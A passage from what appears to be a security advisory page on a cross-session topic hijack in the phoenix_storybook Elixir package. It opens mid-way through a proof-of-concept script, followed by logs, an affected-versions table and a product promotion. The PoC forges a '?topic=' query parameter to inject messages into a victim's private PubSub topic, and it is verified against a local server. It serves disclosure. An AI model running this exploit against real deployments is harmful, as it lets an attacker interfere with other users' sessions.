PlaygroundLive does when the # legitimate user opens their playground page. victim_pid = spawn_link(fn -> :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) send(victim, :victim_ready) receive do {:component_iframe_pid, attacker_iframe_pid} -> send(victim, {:victim_got, attacker_iframe_pid}) after 5_000 -> send(victim, :victim_timeout) end end) receive do :victim_ready -> :ok after 2_000 -> raise "victim subscribe timed out" end # ----- 5. Attacker, in a completely unrelated session, hits the iframe URL # with ?topic=<victim's secret topic>. ----- attacker_url = base <> "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic) _resp = Req.get!(attacker_url, retry: false) # ----- 6. Observe the cross-session leak. ----- outcome = receive do {:victim_got, leaked_pid} -> {:leaked, leaked_pid} :victim_timeout -> :no_leak after 6_000 -> :no_leak end # ----- 7. Tear down. ----- :ok = Supervisor.stop(MyEndpoint, :normal) File.rm_rf!(tmp) if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill) case outcome do {:leaked, pid} -> IO.puts("Victim received iframe pid: #{inspect(pid)}") IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)") IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.") IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic") :no_leak -> IO.puts("NOT VERIFIED: no cross-session message observed within timeout") end ``` ### Logs ```logs 11:56:17.598 [warning] Can't resolve priv dir for application psb_poc 11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http) 11:56:17.750 [info] Access MyEndpoint at http://localhost:26466 11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0 Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"} Pipelines: [:storybook_browser] Victim received iframe pid: #PID<0.598.0> Victim's topic was: playground-secret-8 (never shared with attacker session) Attacker only needed to know/guess that topic to hijack the pid handshake. VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic ```
AI coding agents often install or upgrade packages automatically in erlang. A low vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| phoenix_storybookerlang | >=0.4.0,<1.1.0 | 1.1.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard